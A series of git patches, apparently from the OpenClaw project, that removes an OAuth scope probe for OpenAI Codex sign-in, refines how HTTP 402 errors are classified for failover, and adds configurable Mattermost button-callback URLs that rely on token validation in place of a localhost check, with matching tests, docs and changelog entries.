From bdd368533f52bd8497a0ac871d4174741c69e4b6 Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Fri, 6 Mar 2026 15:01:17 +0530 Subject: [PATCH 001/844] fix(auth): remove bogus codex oauth responses probe --- CHANGELOG.md | 3 +- src/commands/openai-codex-oauth.test.ts | 68 +------------------------ src/commands/openai-codex-oauth.ts | 47 ----------------- 3 files changed, 2 insertions(+), 116 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 965c368d385..750b2aaa7ae 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -46,8 +46,7 @@ Docs: https://docs.openclaw.ai - TUI/model indicator freshness: prevent stale session snapshots from overwriting freshly patched model selection (and reset per-session freshness when switching session keys) so `/model` updates reflect immediately instead of lagging by one or more commands. (#21255) Thanks @kowza. - TUI/final-error rendering fallback: when a chat `final` event has no renderable assistant content but includes envelope `errorMessage`, render the formatted error text instead of collapsing to `"(no output)"`, preserving actionable failure context in-session. (#14687) Thanks @Mquarmoc. - TUI/session-key alias event matching: treat chat events whose session keys are canonical aliases (for example `agent::main` vs `main`) as the same session while preserving cross-agent isolation, so assistant replies no longer disappear or surface in another terminal window due to strict key-form mismatch. (#33937) Thanks @yjh1412. -- OpenAI Codex OAuth/login hardening: fail OAuth completion early when the returned token is missing `api.responses.write`, and allow `openclaw models auth login --provider openai-codex` to use the built-in OAuth path even when no provider plugins are installed. (#36660) Thanks @driesvints. -- OpenAI Codex OAuth/scope request parity: augment the OAuth authorize URL with required API scopes (`api.responses.write`, `model.request`, `api.model.read`) before browser handoff so OAuth tokens include runtime model/request permissions expected by OpenAI API calls. (#24720) Thanks @Skippy-Gunboat. +- OpenAI Codex OAuth/login parity: keep `openclaw models auth login --provider openai-codex` on the built-in path even without provider plugins, preserve Pi-generated authorize URLs without local scope rewriting, and stop validating successful Codex sign-ins against the public OpenAI Responses API after callback. (follow-up to #36660 and #24720) Thanks @driesvints, @Skippy-Gunboat, and @obviyus. - Agents/config schema lookup: add `gateway` tool action `config.schema.lookup` so agents can inspect one config path at a time before edits without loading the full schema into prompt context. (#37266) Thanks @gumadeiras. - Onboarding/API key input hardening: strip non-Latin1 Unicode artifacts from normalized secret input (while preserving Latin-1 content and internal spaces) so malformed copied API keys cannot trigger HTTP header `ByteString` construction crashes; adds regression coverage for shared normalization and MiniMax auth header usage. (#24496) Thanks @fa6maalassaf. - Kimi Coding/Anthropic tools compatibility: normalize `anthropic-messages` tool payloads to OpenAI-style `tools[].function` + compatible `tool_choice` when targeting Kimi Coding endpoints, restoring tool-call workflows that regressed after v2026.3.2. (#37038) Thanks @mochimochimochi-hub. diff --git a/src/commands/openai-codex-oauth.test.ts b/src/commands/openai-codex-oauth.test.ts index 8798853c8f4..abe71d0bd42 100644 --- a/src/commands/openai-codex-oauth.test.ts +++ b/src/commands/openai-codex-oauth.test.ts @@ -1,4 +1,4 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { beforeEach, describe, expect, it, vi } from "vitest"; import type { RuntimeEnv } from "../runtime.js"; import type { WizardPrompter } from "../wizard/prompts.js"; @@ -56,30 +56,10 @@ async function runCodexOAuth(params: { isRemote: boolean }) { } describe("loginOpenAICodexOAuth", () => { - let restoreFetch: (() => void) | null = null; - beforeEach(() => { vi.clearAllMocks(); mocks.runOpenAIOAuthTlsPreflight.mockResolvedValue({ ok: true }); mocks.formatOpenAIOAuthTlsPreflightFix.mockReturnValue("tls fix"); - - const originalFetch = globalThis.fetch; - const fetchMock = vi.fn( - async () => - new Response('{"error":{"message":"model is required"}}', { - status: 400, - headers: { "content-type": "application/json" }, - }), - ); - globalThis.fetch = fetchMock as unknown as typeof fetch; - restoreFetch = () => { - globalThis.fetch = originalFetch; - }; - }); - - afterEach(() => { - restoreFetch?.(); - restoreFetch = null; }); it("returns credentials on successful oauth login", async () => { @@ -188,52 +168,6 @@ describe("loginOpenAICodexOAuth", () => { expect(prompter.note).not.toHaveBeenCalledWith("tls fix", "OAuth prerequisites"); }); - it("fails with actionable error when token is missing api.responses.write scope", async () => { - mocks.createVpsAwareOAuthHandlers.mockReturnValue({ - onAuth: vi.fn(), - onPrompt: vi.fn(), - }); - mocks.loginOpenAICodex.mockResolvedValue({ - provider: "openai-codex" as const, - access: "access-token", - refresh: "refresh-token", - expires: Date.now() + 60_000, - email: "user@example.com", - }); - globalThis.fetch = vi.fn( - async () => - new Response('{"error":{"message":"Missing scopes: api.responses.write"}}', { - status: 401, - headers: { "content-type": "application/json" }, - }), - ) as unknown as typeof fetch; - - await expect(runCodexOAuth({ isRemote: false })).rejects.toThrow( - "missing required scope: api.responses.write", - ); - }); - - it("does not fail oauth completion when scope probe is unavailable", async () => { - const creds = { - provider: "openai-codex" as const, - access: "access-token", - refresh: "refresh-token", - expires: Date.now() + 60_000, - email: "user@example.com", - }; - mocks.createVpsAwareOAuthHandlers.mockReturnValue({ - onAuth: vi.fn(), - onPrompt: vi.fn(), - }); - mocks.loginOpenAICodex.mockResolvedValue(creds); - globalThis.fetch = vi.fn(async () => { - throw new Error("network down"); - }) as unknown as typeof fetch; - - const { result } = await runCodexOAuth({ isRemote: false }); - expect(result).toEqual(creds); - }); - it("fails early with actionable message when TLS preflight fails", async () => { mocks.runOpenAIOAuthTlsPreflight.mockResolvedValue({ ok: false, diff --git a/src/commands/openai-codex-oauth.ts b/src/commands/openai-codex-oauth.ts index ea2098e3380..0ebd6c8c9d4 100644 --- a/src/commands/openai-codex-oauth.ts +++ b/src/commands/openai-codex-oauth.ts @@ -8,41 +8,6 @@ import { runOpenAIOAuthTlsPreflight, } from "./oauth-tls-preflight.js"; -const OPENAI_RESPONSES_ENDPOINT = "https://api.openai.com/v1/responses"; -const OPENAI_RESPONSES_WRITE_SCOPE = "api.responses.write"; - -function extractResponsesScopeErrorMessage(status: number, bodyText: string): string | null { - if (status !== 401) { - return null; - } - const normalized = bodyText.toLowerCase(); - if ( - normalized.includes("missing scope") && - normalized.includes(OPENAI_RESPONSES_WRITE_SCOPE.toLowerCase()) - ) { - return bodyText.trim() || `Missing scopes: ${OPENAI_RESPONSES_WRITE_SCOPE}`; - } - return null; -} - -async function detectMissingResponsesWriteScope(accessToken: string): Promise { - try { - const response = await fetch(OPENAI_RESPONSES_ENDPOINT, { - method: "POST", - headers: { - Authorization: `Bearer ${accessToken}`, - "Content-Type": "application/json", - }, - body: "{}", - }); - const bodyText = await response.text(); - return extractResponsesScopeErrorMessage(response.status, bodyText); - } catch { - // Best effort only: network/TLS issues should not block successful OAuth completion. - return null; - } -} - export async function loginOpenAICodexOAuth(params: { prompter: WizardPrompter; runtime: RuntimeEnv; @@ -90,18 +55,6 @@ export async function loginOpenAICodexOAuth(params: { onPrompt, onProgress: (msg) => spin.update(msg), }); - if (creds?.access) { - const scopeError = await detectMissingResponsesWriteScope(creds.access); - if (scopeError) { - throw new Error( - [ - `OpenAI OAuth token is missing required scope: ${OPENAI_RESPONSES_WRITE_SCOPE}.`, - `Provider response: ${scopeError}`, - "Re-authenticate with OpenAI Codex OAuth or use OPENAI_API_KEY with openai/* models.", - ].join(" "), - ); - } - } spin.stop("OpenAI OAuth complete"); return creds ?? null; } catch (err) { From f051c143253de5a6bb954b426a10b24c339fb203 Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Fri, 6 Mar 2026 15:02:19 +0530 Subject: [PATCH 002/844] docs(changelog): fold codex oauth fix notes --- CHANGELOG.md | 1 - 1 file changed, 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 750b2aaa7ae..84900bdca98 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -31,7 +31,6 @@ Docs: https://docs.openclaw.ai ### Fixes -- OpenAI Codex OAuth/auth URL integrity: stop rewriting Pi-generated OAuth authorize URLs during browser handoff so provider-signed authorization requests remain valid; keep post-login missing-scope detection for actionable remediation. Thanks @obviyus for the report. - Onboarding/headless Linux daemon probe hardening: treat `systemctl --user is-enabled` probe failures as non-fatal during daemon install flow so onboarding no longer crashes on SSH/headless VPS environments before showing install guidance. (#37297) Thanks @acarbajal-web. - Memory/QMD mcporter Windows spawn hardening: when `mcporter.cmd` launch fails with `spawn EINVAL`, retry via bare `mcporter` shell resolution so QMD recall can continue instead of falling back to builtin memory search. (#27402) Thanks @i0ivi0i. - Tools/web_search Brave language-code validation: align `search_lang` handling with Brave-supported codes (including `zh-hans`, `zh-hant`, `en-gb`, and `pt-br`), map common alias inputs (`zh`, `ja`) to valid Brave values, and reject unsupported codes before upstream requests to prevent 422 failures. (#37260) Thanks @heyanming. From ae56597f08ce4f7abc0d6d9c4ff3bee3cdae9182 Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Fri, 6 Mar 2026 15:07:04 +0530 Subject: [PATCH 003/844] docs(changelog): add codex oauth pr reference (#37558) --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 84900bdca98..1624ce8196d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -45,7 +45,7 @@ Docs: https://docs.openclaw.ai - TUI/model indicator freshness: prevent stale session snapshots from overwriting freshly patched model selection (and reset per-session freshness when switching session keys) so `/model` updates reflect immediately instead of lagging by one or more commands. (#21255) Thanks @kowza. - TUI/final-error rendering fallback: when a chat `final` event has no renderable assistant content but includes envelope `errorMessage`, render the formatted error text instead of collapsing to `"(no output)"`, preserving actionable failure context in-session. (#14687) Thanks @Mquarmoc. - TUI/session-key alias event matching: treat chat events whose session keys are canonical aliases (for example `agent::main` vs `main`) as the same session while preserving cross-agent isolation, so assistant replies no longer disappear or surface in another terminal window due to strict key-form mismatch. (#33937) Thanks @yjh1412. -- OpenAI Codex OAuth/login parity: keep `openclaw models auth login --provider openai-codex` on the built-in path even without provider plugins, preserve Pi-generated authorize URLs without local scope rewriting, and stop validating successful Codex sign-ins against the public OpenAI Responses API after callback. (follow-up to #36660 and #24720) Thanks @driesvints, @Skippy-Gunboat, and @obviyus. +- OpenAI Codex OAuth/login parity: keep `openclaw models auth login --provider openai-codex` on the built-in path even without provider plugins, preserve Pi-generated authorize URLs without local scope rewriting, and stop validating successful Codex sign-ins against the public OpenAI Responses API after callback. (#37558; follow-up to #36660 and #24720) Thanks @driesvints, @Skippy-Gunboat, and @obviyus. - Agents/config schema lookup: add `gateway` tool action `config.schema.lookup` so agents can inspect one config path at a time before edits without loading the full schema into prompt context. (#37266) Thanks @gumadeiras. - Onboarding/API key input hardening: strip non-Latin1 Unicode artifacts from normalized secret input (while preserving Latin-1 content and internal spaces) so malformed copied API keys cannot trigger HTTP header `ByteString` construction crashes; adds regression coverage for shared normalization and MiniMax auth header usage. (#24496) Thanks @fa6maalassaf. - Kimi Coding/Anthropic tools compatibility: normalize `anthropic-messages` tool payloads to OpenAI-style `tools[].function` + compatible `tool_choice` when targeting Kimi Coding endpoints, restoring tool-call workflows that regressed after v2026.3.2. (#37038) Thanks @mochimochimochi-hub. From 01b20172b81182f02a065821daa1acdf7cb74e48 Mon Sep 17 00:00:00 2001 From: Xinhua Gu Date: Fri, 6 Mar 2026 10:45:36 +0100 Subject: [PATCH 004/844] fix(failover): classify HTTP 402 as rate_limit when payload indicates usage limit (#30484) (#36802) * fix(failover): classify HTTP 402 as rate_limit when payload indicates usage limit (#30484) Some providers (notably Anthropic Claude Max plan) surface temporary usage/rate-limit failures as HTTP 402 instead of 429. Before this change, all 402s were unconditionally mapped to 'billing', which produced a misleading 'run out of credits' warning for Max plan users who simply hit their usage window. This follows the same pattern introduced for HTTP 400 in #36783: check the error message for an explicit rate-limit signal before falling back to the default status-code classification. - classifyFailoverReasonFromHttpStatus now returns 'rate_limit' for 402 when isRateLimitErrorMessage matches the payload text - Added regression tests covering both the rate-limit and billing paths on 402 * fix: narrow 402 rate-limit matcher to prevent billing misclassification The original implementation used isRateLimitErrorMessage(), which matches phrases like 'quota exceeded' that legitimately appear in billing errors. This commit replaces it with a narrow, 402-specific matcher that requires BOTH retry language (try again/retry/temporary/cooldown) AND limit terminology (usage limit/rate limit/organization usage). Prevents misclassification of errors like: 'HTTP 402: exceeded quota, please add credits' -> billing (not rate_limit) Added regression test for the ambiguous case. --------- Co-authored-by: Val Alexander --- src/agents/failover-error.test.ts | 21 +++++++++++++++++++++ src/agents/pi-embedded-helpers/errors.ts | 18 ++++++++++++++++++ 2 files changed, 39 insertions(+) diff --git a/src/agents/failover-error.test.ts b/src/agents/failover-error.test.ts index 6d0b6202f04..60e7510e67e 100644 --- a/src/agents/failover-error.test.ts +++ b/src/agents/failover-error.test.ts @@ -41,6 +41,27 @@ const GROQ_SERVICE_UNAVAILABLE_MESSAGE = describe("failover-error", () => { it("infers failover reason from HTTP status", () => { expect(resolveFailoverReasonFromError({ status: 402 })).toBe("billing"); + // Anthropic Claude Max plan surfaces rate limits as HTTP 402 (#30484) + expect( + resolveFailoverReasonFromError({ + status: 402, + message: "HTTP 402: request reached organization usage limit, try again later", + }), + ).toBe("rate_limit"); + // Explicit billing messages on 402 stay classified as billing + expect( + resolveFailoverReasonFromError({ + status: 402, + message: "insufficient credits — please top up your account", + }), + ).toBe("billing"); + // Ambiguous "quota exceeded" + billing signal → billing wins + expect( + resolveFailoverReasonFromError({ + status: 402, + message: "HTTP 402: You have exceeded your current quota. Please add more credits.", + }), + ).toBe("billing"); expect(resolveFailoverReasonFromError({ statusCode: "429" })).toBe("rate_limit"); expect(resolveFailoverReasonFromError({ status: 403 })).toBe("auth"); expect(resolveFailoverReasonFromError({ status: 408 })).toBe("timeout"); diff --git a/src/agents/pi-embedded-helpers/errors.ts b/src/agents/pi-embedded-helpers/errors.ts index 0f602ce66d7..e7cd440d779 100644 --- a/src/agents/pi-embedded-helpers/errors.ts +++ b/src/agents/pi-embedded-helpers/errors.ts @@ -261,6 +261,24 @@ export function classifyFailoverReasonFromHttpStatus( } if (status === 402) { + // Some providers (e.g. Anthropic Claude Max plan) surface temporary + // usage/rate-limit failures as HTTP 402. Use a narrow matcher for + // temporary limits to avoid misclassifying billing failures (#30484). + if (message) { + const lower = message.toLowerCase(); + // Temporary usage limit signals: retry language + usage/limit terminology + const hasTemporarySignal = + (lower.includes("try again") || + lower.includes("retry") || + lower.includes("temporary") || + lower.includes("cooldown")) && + (lower.includes("usage limit") || + lower.includes("rate limit") || + lower.includes("organization usage")); + if (hasTemporarySignal) { + return "rate_limit"; + } + } return "billing"; } if (status === 429) { From 4a80d48ea9c4c1377c163cdf45b484cb6aebbc02 Mon Sep 17 00:00:00 2001 From: Muhammed Mukhthar CM <56378562+mukhtharcm@users.noreply.github.com> Date: Fri, 6 Mar 2026 15:27:47 +0530 Subject: [PATCH 005/844] fix(mattermost): allow reachable interaction callback URLs (#37543) Merged via squash. Prepared head SHA: 4d593731be5a5dcbf3106d596b38acfeb8cf0aa8 Co-authored-by: mukhtharcm <56378562+mukhtharcm@users.noreply.github.com> Co-authored-by: mukhtharcm <56378562+mukhtharcm@users.noreply.github.com> Reviewed-by: @mukhtharcm --- CHANGELOG.md | 1 + docs/channels/mattermost.md | 13 +- extensions/mattermost/src/channel.ts | 5 +- .../src/mattermost/interactions.test.ts | 248 +++++++++++++++--- .../mattermost/src/mattermost/interactions.ts | 86 ++++-- .../mattermost/src/mattermost/monitor.ts | 33 ++- 6 files changed, 316 insertions(+), 70 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1624ce8196d..5cb86a8bd78 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -194,6 +194,7 @@ Docs: https://docs.openclaw.ai - Agents/reply delivery timing: flush embedded Pi block replies before waiting on compaction retries so already-generated assistant replies reach channels before compaction wait completes. (#35489) thanks @Sid-Qin. - Agents/gateway config guidance: stop exposing `config.schema` through the agent `gateway` tool, remove prompt/docs guidance that told agents to call it, and keep agents on `config.get` plus `config.patch`/`config.apply` for config changes. (#7382) thanks @kakuteki. - Agents/failover: classify periodic provider limit exhaustion text (for example `Weekly/Monthly Limit Exhausted`) as `rate_limit` while keeping explicit `402 Payment Required` variants in billing, so failover continues without misclassifying billing-wrapped quota errors. (#33813) thanks @zhouhe-xydt. +- Mattermost/interactive button callbacks: allow external callback base URLs and stop requiring loopback-origin requests so button clicks work when Mattermost reaches the gateway over Tailscale, LAN, or a reverse proxy. (#37543) thanks @mukhtharcm. ## 2026.3.2 diff --git a/docs/channels/mattermost.md b/docs/channels/mattermost.md index fdfd48a4dbf..f9417109a77 100644 --- a/docs/channels/mattermost.md +++ b/docs/channels/mattermost.md @@ -221,6 +221,17 @@ Config: - `channels.mattermost.capabilities`: array of capability strings. Add `"inlineButtons"` to enable the buttons tool description in the agent system prompt. +- `channels.mattermost.interactions.callbackBaseUrl`: optional external base URL for button + callbacks (for example `https://gateway.example.com`). Use this when Mattermost cannot + reach the gateway at its bind host directly. +- In multi-account setups, you can also set the same field under + `channels.mattermost.accounts..interactions.callbackBaseUrl`. +- If `interactions.callbackBaseUrl` is omitted, OpenClaw derives the callback URL from + `gateway.customBindHost` + `gateway.port`, then falls back to `http://localhost:`. +- Reachability rule: the button callback URL must be reachable from the Mattermost server. + `localhost` only works when Mattermost and OpenClaw run on the same host/network namespace. +- If your callback target is private/tailnet/internal, add its host/domain to Mattermost + `ServiceSettings.AllowedUntrustedInternalConnections`. ### Direct API integration (external scripts) @@ -244,7 +255,7 @@ the extension when possible; if posting raw JSON, follow these rules: name: "Approve", // display label style: "primary", // optional: "default", "primary", "danger" integration: { - url: "http://localhost:18789/mattermost/interactions/default", + url: "https://gateway.example.com/mattermost/interactions/default", context: { action_id: "mybutton01", // must match button id (for name lookup) action: "approve", diff --git a/extensions/mattermost/src/channel.ts b/extensions/mattermost/src/channel.ts index 5897c11277a..00e4c69e0f7 100644 --- a/extensions/mattermost/src/channel.ts +++ b/extensions/mattermost/src/channel.ts @@ -165,7 +165,10 @@ const mattermostMessageActions: ChannelMessageActionAdapter = { if (params.buttons && Array.isArray(params.buttons)) { const account = resolveMattermostAccount({ cfg, accountId: resolvedAccountId }); if (account.botToken) setInteractionSecret(account.accountId, account.botToken); - const callbackUrl = resolveInteractionCallbackUrl(account.accountId, cfg); + const callbackUrl = resolveInteractionCallbackUrl(account.accountId, { + gateway: cfg.gateway, + interactions: account.config.interactions, + }); // Flatten 2D array (rows of buttons) to 1D — core schema sends Array> // but Mattermost doesn't have row layout, so we flatten all rows into a single list. diff --git a/extensions/mattermost/src/mattermost/interactions.test.ts b/extensions/mattermost/src/mattermost/interactions.test.ts index 0e24ae4a4ee..19d39676a27 100644 --- a/extensions/mattermost/src/mattermost/interactions.test.ts +++ b/extensions/mattermost/src/mattermost/interactions.test.ts @@ -1,11 +1,16 @@ -import { type IncomingMessage } from "node:http"; +import { type IncomingMessage, type ServerResponse } from "node:http"; import { describe, expect, it, beforeEach, afterEach } from "vitest"; +import { setMattermostRuntime } from "../runtime.js"; +import { resolveMattermostAccount } from "./accounts.js"; +import type { MattermostClient } from "./client.js"; import { buildButtonAttachments, + computeInteractionCallbackUrl, + createMattermostInteractionHandler, generateInteractionToken, getInteractionCallbackUrl, getInteractionSecret, - isLocalhostRequest, + resolveInteractionCallbackPath, resolveInteractionCallbackUrl, setInteractionCallbackUrl, setInteractionSecret, @@ -132,7 +137,9 @@ describe("callback URL registry", () => { describe("resolveInteractionCallbackUrl", () => { afterEach(() => { - setInteractionCallbackUrl("resolve-test", ""); + for (const accountId of ["cached", "default", "acct", "myaccount"]) { + setInteractionCallbackUrl(accountId, ""); + } }); it("prefers cached URL from registry", () => { @@ -140,19 +147,99 @@ describe("resolveInteractionCallbackUrl", () => { expect(resolveInteractionCallbackUrl("cached")).toBe("http://cached:1234/path"); }); - it("falls back to computed URL from gateway port config", () => { - const url = resolveInteractionCallbackUrl("default", { gateway: { port: 9999 } }); + it("recomputes from config when bypassing the cache explicitly", () => { + setInteractionCallbackUrl("acct", "http://cached:1234/path"); + const url = computeInteractionCallbackUrl("acct", { + gateway: { port: 9999, customBindHost: "gateway.internal" }, + }); + expect(url).toBe("http://gateway.internal:9999/mattermost/interactions/acct"); + }); + + it("uses interactions.callbackBaseUrl when configured", () => { + const url = resolveInteractionCallbackUrl("default", { + channels: { + mattermost: { + interactions: { + callbackBaseUrl: "https://gateway.example.com/openclaw", + }, + }, + }, + }); + expect(url).toBe("https://gateway.example.com/openclaw/mattermost/interactions/default"); + }); + + it("trims trailing slashes from callbackBaseUrl", () => { + const url = resolveInteractionCallbackUrl("acct", { + channels: { + mattermost: { + interactions: { + callbackBaseUrl: "https://gateway.example.com/root///", + }, + }, + }, + }); + expect(url).toBe("https://gateway.example.com/root/mattermost/interactions/acct"); + }); + + it("uses merged per-account interactions.callbackBaseUrl", () => { + const cfg = { + gateway: { port: 9999 }, + channels: { + mattermost: { + accounts: { + acct: { + botToken: "bot-token", + baseUrl: "https://chat.example.com", + interactions: { + callbackBaseUrl: "https://gateway.example.com/root", + }, + }, + }, + }, + }, + }; + const account = resolveMattermostAccount({ + cfg, + accountId: "acct", + allowUnresolvedSecretRef: true, + }); + const url = resolveInteractionCallbackUrl(account.accountId, { + gateway: cfg.gateway, + interactions: account.config.interactions, + }); + expect(url).toBe("https://gateway.example.com/root/mattermost/interactions/acct"); + }); + + it("falls back to gateway.customBindHost when configured", () => { + const url = resolveInteractionCallbackUrl("default", { + gateway: { port: 9999, customBindHost: "gateway.internal" }, + }); + expect(url).toBe("http://gateway.internal:9999/mattermost/interactions/default"); + }); + + it("falls back to localhost when customBindHost is a wildcard bind address", () => { + const url = resolveInteractionCallbackUrl("default", { + gateway: { port: 9999, customBindHost: "0.0.0.0" }, + }); expect(url).toBe("http://localhost:9999/mattermost/interactions/default"); }); + it("brackets IPv6 custom bind hosts", () => { + const url = resolveInteractionCallbackUrl("acct", { + gateway: { port: 9999, customBindHost: "::1" }, + }); + expect(url).toBe("http://[::1]:9999/mattermost/interactions/acct"); + }); + it("uses default port 18789 when no config provided", () => { const url = resolveInteractionCallbackUrl("myaccount"); expect(url).toBe("http://localhost:18789/mattermost/interactions/myaccount"); }); +}); - it("uses default port when gateway config has no port", () => { - const url = resolveInteractionCallbackUrl("acct", { gateway: {} }); - expect(url).toBe("http://localhost:18789/mattermost/interactions/acct"); +describe("resolveInteractionCallbackPath", () => { + it("builds the per-account callback path", () => { + expect(resolveInteractionCallbackPath("acct")).toBe("/mattermost/interactions/acct"); }); }); @@ -299,37 +386,134 @@ describe("buildButtonAttachments", () => { }); }); -// ── isLocalhostRequest ─────────────────────────────────────────────── +describe("createMattermostInteractionHandler", () => { + beforeEach(() => { + setMattermostRuntime({ + system: { + enqueueSystemEvent: () => {}, + }, + } as unknown as Parameters[0]); + setInteractionSecret("acct", "bot-token"); + }); -describe("isLocalhostRequest", () => { - function fakeReq(remoteAddress?: string): IncomingMessage { - return { - socket: { remoteAddress }, - } as unknown as IncomingMessage; + function createReq(params: { + method?: string; + body?: unknown; + remoteAddress?: string; + }): IncomingMessage { + const body = params.body === undefined ? "" : JSON.stringify(params.body); + const listeners = new Map void>>(); + + const req = { + method: params.method ?? "POST", + socket: { remoteAddress: params.remoteAddress ?? "203.0.113.10" }, + on(event: string, handler: (...args: unknown[]) => void) { + const existing = listeners.get(event) ?? []; + existing.push(handler); + listeners.set(event, existing); + return this; + }, + } as IncomingMessage & { emitTest: (event: string, ...args: unknown[]) => void }; + + req.emitTest = (event: string, ...args: unknown[]) => { + const handlers = listeners.get(event) ?? []; + for (const handler of handlers) { + handler(...args); + } + }; + + queueMicrotask(() => { + if (body) { + req.emitTest("data", Buffer.from(body)); + } + req.emitTest("end"); + }); + + return req; } - it("accepts 127.0.0.1", () => { - expect(isLocalhostRequest(fakeReq("127.0.0.1"))).toBe(true); + function createRes(): ServerResponse & { headers: Record; body: string } { + const res = { + statusCode: 200, + headers: {} as Record, + body: "", + setHeader(name: string, value: string) { + res.headers[name] = value; + }, + end(chunk?: string) { + res.body = chunk ?? ""; + }, + }; + return res as unknown as ServerResponse & { headers: Record; body: string }; + } + + it("accepts non-localhost requests when the interaction token is valid", async () => { + const context = { action_id: "approve" }; + const token = generateInteractionToken(context, "acct"); + const requestLog: Array<{ path: string; method?: string }> = []; + const handler = createMattermostInteractionHandler({ + client: { + request: async (path: string, init?: { method?: string }) => { + requestLog.push({ path, method: init?.method }); + if (init?.method === "PUT") { + return { id: "post-1" }; + } + return { + message: "Choose", + props: { + attachments: [{ actions: [{ id: "approve", name: "Approve" }] }], + }, + }; + }, + } as unknown as MattermostClient, + botUserId: "bot", + accountId: "acct", + }); + + const req = createReq({ + remoteAddress: "198.51.100.8", + body: { + user_id: "user-1", + user_name: "alice", + channel_id: "chan-1", + post_id: "post-1", + context: { ...context, _token: token }, + }, + }); + const res = createRes(); + + await handler(req, res); + + expect(res.statusCode).toBe(200); + expect(res.body).toBe("{}"); + expect(requestLog).toEqual([ + { path: "/posts/post-1", method: undefined }, + { path: "/posts/post-1", method: "PUT" }, + ]); }); - it("accepts ::1", () => { - expect(isLocalhostRequest(fakeReq("::1"))).toBe(true); - }); + it("rejects requests with an invalid interaction token", async () => { + const handler = createMattermostInteractionHandler({ + client: { + request: async () => ({ message: "unused" }), + } as unknown as MattermostClient, + botUserId: "bot", + accountId: "acct", + }); - it("accepts ::ffff:127.0.0.1", () => { - expect(isLocalhostRequest(fakeReq("::ffff:127.0.0.1"))).toBe(true); - }); + const req = createReq({ + body: { + user_id: "user-1", + channel_id: "chan-1", + post_id: "post-1", + context: { action_id: "approve", _token: "deadbeef" }, + }, + }); + const res = createRes(); - it("rejects external addresses", () => { - expect(isLocalhostRequest(fakeReq("10.0.0.1"))).toBe(false); - expect(isLocalhostRequest(fakeReq("192.168.1.1"))).toBe(false); - }); + await handler(req, res); - it("rejects when socket has no remote address", () => { - expect(isLocalhostRequest(fakeReq(undefined))).toBe(false); - }); - - it("rejects when socket is missing", () => { - expect(isLocalhostRequest({} as IncomingMessage)).toBe(false); + expect(res.statusCode).toBe(403); + expect(res.body).toContain("Invalid token"); }); }); diff --git a/extensions/mattermost/src/mattermost/interactions.ts b/extensions/mattermost/src/mattermost/interactions.ts index be305db4ba3..33415ae519c 100644 --- a/extensions/mattermost/src/mattermost/interactions.ts +++ b/extensions/mattermost/src/mattermost/interactions.ts @@ -1,5 +1,6 @@ import { createHmac, timingSafeEqual } from "node:crypto"; import type { IncomingMessage, ServerResponse } from "node:http"; +import type { OpenClawConfig } from "openclaw/plugin-sdk/mattermost"; import { getMattermostRuntime } from "../runtime.js"; import { updateMattermostPost, type MattermostClient } from "./client.js"; @@ -43,21 +44,72 @@ export function getInteractionCallbackUrl(accountId: string): string | undefined return callbackUrls.get(accountId); } +type InteractionCallbackConfig = Pick & { + interactions?: { + callbackBaseUrl?: string; + }; +}; + +export function resolveInteractionCallbackPath(accountId: string): string { + return `/mattermost/interactions/${accountId}`; +} + +function isWildcardBindHost(rawHost: string): boolean { + const trimmed = rawHost.trim(); + if (!trimmed) return false; + const host = trimmed.startsWith("[") && trimmed.endsWith("]") ? trimmed.slice(1, -1) : trimmed; + return host === "0.0.0.0" || host === "::" || host === "0:0:0:0:0:0:0:0" || host === "::0"; +} + +function normalizeCallbackBaseUrl(baseUrl: string): string { + return baseUrl.trim().replace(/\/+$/, ""); +} + /** * Resolve the interaction callback URL for an account. - * Prefers the in-memory registered URL (set by the gateway monitor). - * Falls back to computing it from the gateway port in config (for CLI callers). + * Falls back to computing it from interactions.callbackBaseUrl or gateway host config. + */ +export function computeInteractionCallbackUrl( + accountId: string, + cfg?: InteractionCallbackConfig, +): string { + const path = resolveInteractionCallbackPath(accountId); + // Prefer merged per-account config when available, but keep the top-level path for + // callers/tests that still pass the root Mattermost config shape directly. + const callbackBaseUrl = + cfg?.interactions?.callbackBaseUrl?.trim() ?? + cfg?.channels?.mattermost?.interactions?.callbackBaseUrl?.trim(); + if (callbackBaseUrl) { + return `${normalizeCallbackBaseUrl(callbackBaseUrl)}${path}`; + } + const port = typeof cfg?.gateway?.port === "number" ? cfg.gateway.port : 18789; + let host = + cfg?.gateway?.customBindHost && !isWildcardBindHost(cfg.gateway.customBindHost) + ? cfg.gateway.customBindHost.trim() + : "localhost"; + + // Bracket IPv6 literals so the URL is valid: http://[::1]:18789/... + if (host.includes(":") && !(host.startsWith("[") && host.endsWith("]"))) { + host = `[${host}]`; + } + + return `http://${host}:${port}${path}`; +} + +/** + * Resolve the interaction callback URL for an account. + * Prefers the in-memory registered URL (set by the gateway monitor) so callers outside the + * monitor lifecycle can reuse the runtime-validated callback destination. */ export function resolveInteractionCallbackUrl( accountId: string, - cfg?: { gateway?: { port?: number } }, + cfg?: InteractionCallbackConfig, ): string { const cached = callbackUrls.get(accountId); if (cached) { return cached; } - const port = typeof cfg?.gateway?.port === "number" ? cfg.gateway.port : 18789; - return `http://localhost:${port}/mattermost/interactions/${accountId}`; + return computeInteractionCallbackUrl(accountId, cfg); } // ── HMAC token management ────────────────────────────────────────────── @@ -198,18 +250,6 @@ export function buildButtonAttachments(params: { ]; } -// ── Localhost validation ─────────────────────────────────────────────── - -const LOCALHOST_ADDRESSES = new Set(["127.0.0.1", "::1", "::ffff:127.0.0.1"]); - -export function isLocalhostRequest(req: IncomingMessage): boolean { - const addr = req.socket?.remoteAddress; - if (!addr) { - return false; - } - return LOCALHOST_ADDRESSES.has(addr); -} - // ── Request body reader ──────────────────────────────────────────────── function readInteractionBody(req: IncomingMessage): Promise { @@ -251,7 +291,6 @@ export function createMattermostInteractionHandler(params: { client: MattermostClient; botUserId: string; accountId: string; - callbackUrl: string; resolveSessionKey?: (channelId: string, userId: string) => Promise; dispatchButtonClick?: (opts: { channelId: string; @@ -276,17 +315,6 